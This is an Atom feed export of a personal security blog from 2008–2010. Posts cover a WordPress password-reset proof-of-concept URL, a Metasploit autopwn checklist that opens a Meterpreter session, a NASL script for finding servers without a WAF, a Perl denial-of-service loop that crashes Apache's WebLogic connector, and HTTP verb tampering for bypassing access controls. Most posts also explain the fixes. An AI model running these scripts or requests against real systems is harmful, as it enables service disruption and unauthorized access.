<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-3993366355898720712</id><updated>2012-02-10T18:06:27.316-06:00</updated><category term='apache'/><category term='debug'/><category term='HTTP Verb Tampering'/><category term='gdb'/><category term='weblogic'/><category term='cept'/><category term='Webscarab'/><category term='metasploit'/><category term='PEX'/><category term='gdbinit'/><category term='defcon'/><category term='overflow'/><category term='WAF'/><category term='NASL'/><title type='text'>Information Intoxication</title><subtitle type='html'>A Day In The Life Of Information Security</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://informationintoxication.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://informationintoxication.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Devin</name><uri>http://www.blogger.com/profile/15793900111446118223</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_CSYBzy3J1s8/TEmeU7vYlBI/AAAAAAAAA5Y/DaKczXhbXlU/S220/einstein.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>33</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-3993366355898720712.post-6876118823547797145</id><published>2010-03-25T11:53:00.002-05:00</published><updated>2010-03-25T11:54:07.638-05:00</updated><title type='text'>Moved Again!</title><content type='html'>Just because I can't make up my mind. Blog has moved to &lt;a href="http://infointox.net"&gt;http://infointox.net&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3993366355898720712-6876118823547797145?l=informationintoxication.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://informationintoxication.blogspot.com/feeds/6876118823547797145/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3993366355898720712&amp;postID=6876118823547797145' title='11 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/6876118823547797145'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/6876118823547797145'/><link rel='alternate' type='text/html' href='http://informationintoxication.blogspot.com/2010/03/moved-again.html' title='Moved Again!'/><author><name>Devin</name><uri>http://www.blogger.com/profile/15793900111446118223</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_CSYBzy3J1s8/TEmeU7vYlBI/AAAAAAAAA5Y/DaKczXhbXlU/S220/einstein.jpg'/></author><thr:total>11</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3993366355898720712.post-2628408253319518559</id><published>2009-08-12T17:17:00.006-05:00</published><updated>2009-08-12T17:35:48.317-05:00</updated><title type='text'>WordPress &lt;= 2.8.3 Admin Reset</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_CSYBzy3J1s8/SoNA32tFXjI/AAAAAAAAAtg/Y-c03xOEgrI/s1600-h/wordpress-logo.png"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 200px; height: 188px;" src="http://2.bp.blogspot.com/_CSYBzy3J1s8/SoNA32tFXjI/AAAAAAAAAtg/Y-c03xOEgrI/s200/wordpress-logo.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5369206509077356082" /&gt;&lt;/a&gt;None of this is new its just me trying to understand it. This vulnerability only resets the admin password, which is then emailed to the admin. Someone could potentially DOS the admin with a small script to continually reset the password but overall this is just an annoyance. This is mainly due to a lack of input validation on the $key variable. How this seems to work is WordPress is using a black list method to check to see if the key is empty and it also has no checks to see if the key is empty before the query is ran. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Proof of Concept:&lt;/span&gt;&lt;br /&gt;http://DOMAINNAME/wp-login.php?action=rp&amp;key[]=&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Why does it reset admin? &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;When $key is passed an array[] it is treated an empty string. This will in turn match every user within the database. The first user just happens to be the admin, which WordPress will reset. &lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;$user = $wpdb-&gt;get_row(&lt;br /&gt;    $wpdb-&gt;prepare(&lt;br /&gt;        "SELECT * FROM $wpdb-&gt;users&lt;br /&gt;         WHERE user_activation_key = %s", $key&lt;br /&gt;         )&lt;br /&gt;    );&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;The Issue.&lt;/span&gt;&lt;br /&gt;It looks like empty() will treat an array as an empty string and not return an error.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;wp-login.php.  &lt;br /&gt;if ( empty( $key ) )&lt;br /&gt;return new WP_Error('invalid_key', __('Invalid key'));&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;The Fix.&lt;/span&gt;&lt;br /&gt;WordPress has released a &lt;a href="http://wordpress.org/development/2009/08/2-8-4-security-release/"&gt;fix&lt;/a&gt; which is shown below. This is still a black list approach and only adds an extra check for the array.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;if ( empty( $key ) || is_array( $key ) )&lt;br /&gt;return new WP_Error('invalid_key', __('Invalid key'));&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;This is still using a black list method and I also think some improvements can be made before the query statement. I believe some blame can be put on PHP by not throwing an exception to an empty array. When time permits I would like to play around with other things that could be passed to $key. I'm still exploring other possibilities of this not just being a password reset that is sent to the admin. If anyone has some ideas, I would love to hear.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;References:&lt;/span&gt;&lt;br /&gt;&lt;a href=" http://core.trac.wordpress.org/changeset/11798"&gt;&lt;br /&gt;http://core.trac.wordpress.org/changeset/11798&lt;/a&gt;&lt;br /&gt;&lt;a href="http://archives.neohapsis.com/archives/fulldisclosure/2009-08/0114.html"&gt;http://archives.neohapsis.com/archives/fulldisclosure/2009-08/0114.html&lt;/a&gt;&lt;br /&gt;&lt;a href="http://us3.php.net/manual/en/function.empty.php"&gt;http://us3.php.net/manual/en/function.empty.php&lt;/a&gt;&lt;br /&gt;&lt;a href="http://isc.sans.org/diary.html?storyid=6934"&gt;http://isc.sans.org/diary.html?storyid=6934&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3993366355898720712-2628408253319518559?l=informationintoxication.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://informationintoxication.blogspot.com/feeds/2628408253319518559/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3993366355898720712&amp;postID=2628408253319518559' title='14 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/2628408253319518559'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/2628408253319518559'/><link rel='alternate' type='text/html' href='http://informationintoxication.blogspot.com/2009/08/wordpress-283-admin-reset.html' title='WordPress &lt;= 2.8.3 Admin Reset'/><author><name>Devin</name><uri>http://www.blogger.com/profile/15793900111446118223</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_CSYBzy3J1s8/TEmeU7vYlBI/AAAAAAAAA5Y/DaKczXhbXlU/S220/einstein.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_CSYBzy3J1s8/SoNA32tFXjI/AAAAAAAAAtg/Y-c03xOEgrI/s72-c/wordpress-logo.png' height='72' width='72'/><thr:total>14</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3993366355898720712.post-8214307419228550711</id><published>2009-07-05T10:55:00.004-05:00</published><updated>2009-07-05T11:35:53.458-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='metasploit'/><title type='text'>Metasploit Ubuntu Checklist</title><content type='html'>So I just got a new computer and have been setting up my work environment. One thing I always forget is getting metasploit running with autopwn. I only seem to do this when I either get a new machine or rebuild, which is not that often. I feel like once you have autopwn going, metasploit is at a good point for exploiting and developing.&lt;br /&gt;&lt;br /&gt;This post is going to be a quick reference list of getting the framwork up and going. At the time of this post it was Ubuntu 9.04 and Metasploit 3.2 .&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;1. Get Metasploit:&lt;/span&gt;&lt;br /&gt;I always get metasploit through subversion. Do it anyway you like.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;$sudo apt-get install subversion&lt;br /&gt;$svn co http://metasploit.com/svn/framework3/trunk/&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;2. Install Ubuntu debs:&lt;/span&gt;&lt;br /&gt;Add any others that you think are necessary.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;$apt-get install ruby rubygems sqlite libsqlite3-ruby libopenssl-ruby nmap&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;3. Create Metasploit DB:&lt;br /&gt;&lt;/span&gt;In the example below, mine was already created.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;msf &gt; db_driver sqlite3 &lt;br /&gt;[*] Using database driver sqlite3&lt;br /&gt;msf &gt; db_create&lt;br /&gt;[*] The specified database already exists, connecting&lt;br /&gt;[*] Successfully connected to the database&lt;br /&gt;[*] File: /home/asdf/.msf3/sqlite3.db&lt;br /&gt;msf &gt; db_connect&lt;br /&gt;[*] Successfully connected to the database&lt;br /&gt;[*] File: /home/asdf/.msf3/sqlite3.db&lt;br /&gt;msf &gt; &lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;4. Run autopwn:&lt;br /&gt;&lt;/span&gt;This is all at the very basic level, just testing if it works.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;msf &gt; db_nmap 192.168.1.2&lt;br /&gt;msf &gt; db_autopwn -e -p -b&lt;br /&gt;msf &gt; sessions&lt;br /&gt;&lt;br /&gt;Active sessions&lt;br /&gt;===============&lt;br /&gt;&lt;br /&gt;  Id  Description  Tunnel                                  &lt;br /&gt;  --  -----------  ------                                  &lt;br /&gt;  1   Meterpreter  192.168.1.1:60781 -&gt; 192.168.1.2:15786 &lt;br /&gt;&lt;br /&gt;msf &gt; sessions -i 1&lt;br /&gt;[*] Starting interaction with 1...&lt;br /&gt;&lt;br /&gt;meterpreter &gt; &lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Like I said this is all basic and just a quick checklist to get it going. I have never wrote this down because I always felt like I would remember. Anyways if anyone else has some stuff they add or do to get their base framework going, I would love to hear about it.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;References:&lt;/span&gt;&lt;br /&gt;http://metasploit.com/&lt;br /&gt;http://en.wikibooks.org/wiki/Metasploit/UsingMetasploit&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3993366355898720712-8214307419228550711?l=informationintoxication.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://informationintoxication.blogspot.com/feeds/8214307419228550711/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3993366355898720712&amp;postID=8214307419228550711' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/8214307419228550711'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/8214307419228550711'/><link rel='alternate' type='text/html' href='http://informationintoxication.blogspot.com/2009/07/autopwn-on-ubuntu.html' title='Metasploit Ubuntu Checklist'/><author><name>Devin</name><uri>http://www.blogger.com/profile/15793900111446118223</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_CSYBzy3J1s8/TEmeU7vYlBI/AAAAAAAAA5Y/DaKczXhbXlU/S220/einstein.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3993366355898720712.post-8040134043425817019</id><published>2009-02-14T11:19:00.002-06:00</published><updated>2009-02-14T11:21:49.739-06:00</updated><title type='text'>URL Change</title><content type='html'>Well I don't know why but I decided to drop kpan1c.blogspot.com in favor of informationintoxication.blogspot.com. My guess is I will change it again. Sorry for any of the confusion, I need to just buy a domain for this...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3993366355898720712-8040134043425817019?l=informationintoxication.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://informationintoxication.blogspot.com/feeds/8040134043425817019/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3993366355898720712&amp;postID=8040134043425817019' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/8040134043425817019'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/8040134043425817019'/><link rel='alternate' type='text/html' href='http://informationintoxication.blogspot.com/2009/02/url-change.html' title='URL Change'/><author><name>Devin</name><uri>http://www.blogger.com/profile/15793900111446118223</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_CSYBzy3J1s8/TEmeU7vYlBI/AAAAAAAAA5Y/DaKczXhbXlU/S220/einstein.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3993366355898720712.post-577317598654378223</id><published>2008-08-08T18:30:00.000-05:00</published><updated>2008-08-08T18:30:00.492-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='WAF'/><category scheme='http://www.blogger.com/atom/ns#' term='NASL'/><title type='text'>WAF Checker</title><content type='html'>During a large application assessment, I noticed in a cookie that it was load balanced. I gathered as many unique cookies I could and noticed the application was spread across many web servers. This allows room for errors concerning a WAF. Why not attack a server that the WAF is not protecting?&lt;br /&gt;&lt;br /&gt;On this note I wrote a quick little NASL script to find a server that is not protected by the WAF. The only trick to this script is understanding what response you get once the WAF is triggered. Every WAF I have worked with all block the User Agent "nikto" by default. To find the response it gives I just set my User Agent to "nikto" and make a standard GET request. If this doesn't work you can call your basic XSS stuff and it will usually trigger the WAF.&lt;br /&gt;&lt;br /&gt;Once you can get the WAF triggered you just have to find something different in the response for the script to look for. In my case it was just "error".  Now just run the script and see if any WAF's are down.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;pre&gt;#Create tcp socket to webserver port&lt;br /&gt;socket_timeout = 5;&lt;br /&gt;soc = open_sock_tcp(80);&lt;br /&gt;&lt;br /&gt;#grab host ip of current box with socket open&lt;br /&gt;hostip=get_host_ip();&lt;br /&gt;&lt;br /&gt;#if socket was created&lt;br /&gt;if (soc) {&lt;br /&gt;&lt;br /&gt;#create string and send&lt;br /&gt;str = string("GET /index.html HTTP/1.0\r\nUser-Agent:Nikto\r\n\r\n");&lt;br /&gt;send(socket:soc, data:str);&lt;br /&gt;&lt;br /&gt;#grab data from the socket&lt;br /&gt;page = recv(socket:soc, length:4096);&lt;br /&gt;&lt;br /&gt;#grep for the line with error or whatever waf refturns&lt;br /&gt;error = egrep(pattern:"error*", string : page);&lt;br /&gt;&lt;br /&gt;#if grep returns value&lt;br /&gt;if(error){&lt;br /&gt;display("WAF ON ",hostip,"\n");&lt;br /&gt;}&lt;br /&gt;else{&lt;br /&gt;display("WAF OFF ",hostip,"\n");&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#close socket&lt;br /&gt;close(soc);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;I found this script pretty handy for pen-testing and monitoring. &lt;br /&gt;&lt;br /&gt;On the monitoring side you can just throw it in a cron job and have it email you if any WAF's were found to be off.&lt;br /&gt;&lt;br /&gt;On the pen-testing side its a lot easier attacking an app with out those pesky WAF's&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3993366355898720712-577317598654378223?l=informationintoxication.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://informationintoxication.blogspot.com/feeds/577317598654378223/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3993366355898720712&amp;postID=577317598654378223' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/577317598654378223'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/577317598654378223'/><link rel='alternate' type='text/html' href='http://informationintoxication.blogspot.com/2008/08/waf-checker.html' title='WAF Checker'/><author><name>Devin</name><uri>http://www.blogger.com/profile/15793900111446118223</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_CSYBzy3J1s8/TEmeU7vYlBI/AAAAAAAAA5Y/DaKczXhbXlU/S220/einstein.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3993366355898720712.post-2868808243642786819</id><published>2008-07-31T18:00:00.001-05:00</published><updated>2008-08-01T13:41:32.217-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='apache'/><category scheme='http://www.blogger.com/atom/ns#' term='weblogic'/><category scheme='http://www.blogger.com/atom/ns#' term='overflow'/><title type='text'>BEA Weblogic Apache Connector Remote Buffer Overflow</title><content type='html'>&lt;span style="font-weight:bold;"&gt;This post was delayed in release due to sensitivity.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;This vulnerability was a pretty fun one just because it affected so many people and it was just so simple to do. &lt;br /&gt;&lt;br /&gt;This vulnerability is your standard stack based overflow. This particular overflow occurs in mod_wl which is a WebLogic connector for Apache. The overflow occurs when you send a long POST request for a .jsp. I started to look at KingCopes code but it just didn't seem to work in my environment. So based off his code for the  DOS, I wrote the one below to test with, nothing fancy.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;use IO::Socket;&lt;br /&gt;use strict;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;my $port = $ARGV[1];&lt;br /&gt;my $host = $ARGV[0];&lt;br /&gt;&lt;br /&gt;my $dos=0;&lt;br /&gt;&lt;br /&gt;while(1) {&lt;br /&gt;&lt;br /&gt; if ($dos eq 1) {&lt;br /&gt;  "Server is down\n";&lt;br /&gt;          exit;&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; $a = "A" x 8000;&lt;br /&gt; my $sock = IO::Socket::INET-&gt;new(PeerAddr =&gt; $host,&lt;br /&gt;                                         PeerPort =&gt; $port,&lt;br /&gt;                                         Proto =&gt; 'tcp');&lt;br /&gt; print $sock "POST /index.jsp $a\r\n\r\nHost: localhost\r\n\r\n";&lt;br /&gt; &lt;br /&gt; read($sock,$_,100); &lt;br /&gt; print "=&gt;" . $_ . "&lt;=\n\n";&lt;br /&gt;        if (!($_ =~ /Server/)) {&lt;br /&gt;                        $dos = 1;&lt;br /&gt;                }&lt;br /&gt; close($sock);        &lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;The code above will seg fault Apache. The endless loop is needed because Apache recovers so quickly and it was an easy way to perform the DOS(took a couple of minutes). I have not had much time but I would like to explore this further and start debugging to see if code can be executed in a Linux environment.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Fix:&lt;/span&gt;&lt;br /&gt;After all of my testing the workaround that was recommended by Oracle does work. They have not released a patch at this time. &lt;br /&gt;&lt;br /&gt;With the workaround in place I even tried the DOS by sending a POST of 3999 to not trigger the LimitRequestLine. Apache handled the large repeating requests like a champ.&lt;br /&gt;&lt;br /&gt;Workaround in apache conf:&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;LimitRequestLine 4000 &lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.milw0rm.com/exploits/6089"&gt;http://www.milw0rm.com&lt;/a&gt;&lt;br /&gt;&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3257"&gt;http://cve.mitre.org&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.frsirt.com/english/advisories/2008/2145"&gt;http://www.frsirt.com&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3993366355898720712-2868808243642786819?l=informationintoxication.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://informationintoxication.blogspot.com/feeds/2868808243642786819/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3993366355898720712&amp;postID=2868808243642786819' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/2868808243642786819'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/2868808243642786819'/><link rel='alternate' type='text/html' href='http://informationintoxication.blogspot.com/2008/07/bea-weblogic-apache-connector-remote.html' title='BEA Weblogic Apache Connector Remote Buffer Overflow'/><author><name>Devin</name><uri>http://www.blogger.com/profile/15793900111446118223</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_CSYBzy3J1s8/TEmeU7vYlBI/AAAAAAAAA5Y/DaKczXhbXlU/S220/einstein.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3993366355898720712.post-8143053016385390483</id><published>2008-06-06T11:03:00.005-05:00</published><updated>2008-06-27T06:45:45.598-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='HTTP Verb Tampering'/><category scheme='http://www.blogger.com/atom/ns#' term='Webscarab'/><title type='text'>HTTP Verb Tampering</title><content type='html'>While this is really nothing that new, it has recently resurfaced with some interesting uses. Aspect Security has published a white paper "&lt;a href="http://www.aspectsecurity.com/documents/Bypassing_VBAAC_with_HTTP_Verb_Tampering.pdf"&gt;Bypassing Web Authentication and Authorization with HTTP Verb Tampering"&lt;/a&gt; that has brought this all to light.&lt;br /&gt;&lt;br /&gt;In the past, I would usually use verb tampering for your XSS or SQLi attacks. Authorization bypass really never crossed my mind, this prompted me read up a bit. After some reading, It was kind of a "hit my head" type of moment. I highly recommend reading the white paper but here is a high level overview as I see it.&lt;br /&gt;&lt;br /&gt;Verb Tampering for authorization bypass can be as simple as substituting a GET with a HEAD. For example:&lt;br /&gt;&lt;br /&gt;In Java EE you can restrict access to a location with web.xml.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&amp;lt;security-constraint&amp;gt;&lt;br /&gt;   &amp;lt;web-resource-collection&amp;gt;&lt;br /&gt;      &amp;lt;url-pattern&amp;gt;/admin/*&amp;lt;/url-pattern&amp;gt;&lt;br /&gt;      &amp;lt;http-method&amp;gt;GET&amp;lt;/http-method&amp;gt;&lt;br /&gt;      &amp;lt;http-method&amp;gt;POST&amp;lt;/http-method&amp;gt;&lt;br /&gt;   &amp;lt;/web-resource-collection&amp;gt;&lt;br /&gt;   &amp;lt;auth-constraint&amp;gt;&lt;br /&gt;      &amp;lt;role-name&amp;gt;admin&amp;lt;/role-name&amp;gt;&lt;br /&gt;   &amp;lt;/auth-constraint&amp;gt;&lt;br /&gt; &amp;lt;/security-constraint&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;This restricts access to /admin and the listed http-methods. The thing that is not mentioned if you actually change the verb to something different such as HEAD, it will actually allow you access. You can easily do this with Webscarab by intercepting the request.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_CSYBzy3J1s8/SEmaN37bn0I/AAAAAAAAAbU/54GYWJ5TBY0/s1600-h/webscarab.JPG"&gt;&lt;img style="cursor: pointer;" src="http://2.bp.blogspot.com/_CSYBzy3J1s8/SEmaN37bn0I/AAAAAAAAAbU/54GYWJ5TBY0/s320/webscarab.JPG" alt="" id="BLOGGER_PHOTO_ID_5208864007172890434" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Many people think by explicitly stating what methods to block that it won't allow the others , when in fact if they did not state any methods it would block all. The methods that are listed are the only ones that are protected. Funny side note: I was actually looking at BEA docs for something totally unrelated and I happen to see their recommendation on how to secure folders with web.xml,  and their way was vulnerable to the HEAD attack.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Another interesting find is the use of arbitrary verbs. In php and java this is allowed which means that we can throw it a verb that does not even exist.  The application will then take the request and then convert it to a GET. This also bypasses the security restrictions.&lt;br /&gt;&lt;br /&gt;More Reading:&lt;br /&gt;&lt;a href="http://jeremiahgrossman.blogspot.com/2008/06/what-you-need-to-know-about-http-verb.html"&gt;http://jeremiahgrossman.blogspot.com/2008/06/what-you-need-to-know-about-http-verb.html&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.webappsec.org/lists/websecurity/archive/2008-06/msg00022.html"&gt;http://www.webappsec.org/lists/websecurity/archive/2008-06/msg00022.html&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.webappsec.org/lists/websecurity/archive/2008-05/msg00072.html"&gt;http://www.webappsec.org/lists/websecurity/archive/2008-05/msg00072.html&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.aspectsecurity.com/documents/Bypassing_VBAAC_with_HTTP_Verb_Tampering.pdf"&gt;http://www.aspectsecurity.com/documents/Bypassing_VBAAC_with_HTTP_Verb_Tampering.pdf&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.securitycompass.com/exploit_me/accessme/accessme-0.1.shtml"&gt;http://www.securitycompass.com/exploit_me/accessme/accessme-0.1.shtml&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.aspectsecurity.com/documents/Aspect_VBAAC_Bypass.swf"&gt;http://www.aspectsecurity.com/documents/Aspect_VBAAC_Bypass.swf&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3993366355898720712-8143053016385390483?l=informationintoxication.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://informationintoxication.blogspot.com/feeds/8143053016385390483/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3993366355898720712&amp;postID=8143053016385390483' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/8143053016385390483'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3993366355898720712/posts/default/8143053016385390483'/><link rel='alternate' type='text/html' href='http://informationintoxication.blogspot.com/2008/06/http-verb-tampering.html' title='HTTP Verb Tampering'/><author><name>Devin</name><uri>http://www.blogger.com/profile/15793900111446118223</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_CSYBzy3J1s8/TEmeU7vYlBI/AAAAAAAAA5Y/DaKczXhbXlU/S220/einstein.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_CSYBzy3J1s8/SEmaN37bn0I/AAAAAAAAAbU/54GYWJ5TBY0/s72-c/webscarab.JPG' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3993366355898720712.post-2494115557582852162</id><published>2008-05-16T10:15:00.006-05:00</published><updated>2008-05-16T14:15:11.928-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='gdbinit'/><category scheme='http://www.blogger.com/atom/ns#' term='debug'/><category scheme='http://www.blogger.com/atom/ns#' term='gdb'/><title type='text'>.gdbinit The Security Way</title><content type='html'>&lt;code&gt;I have worked quite a bit with gdb and have become pretty familiar with the common commands. gdb is a great debugger for * 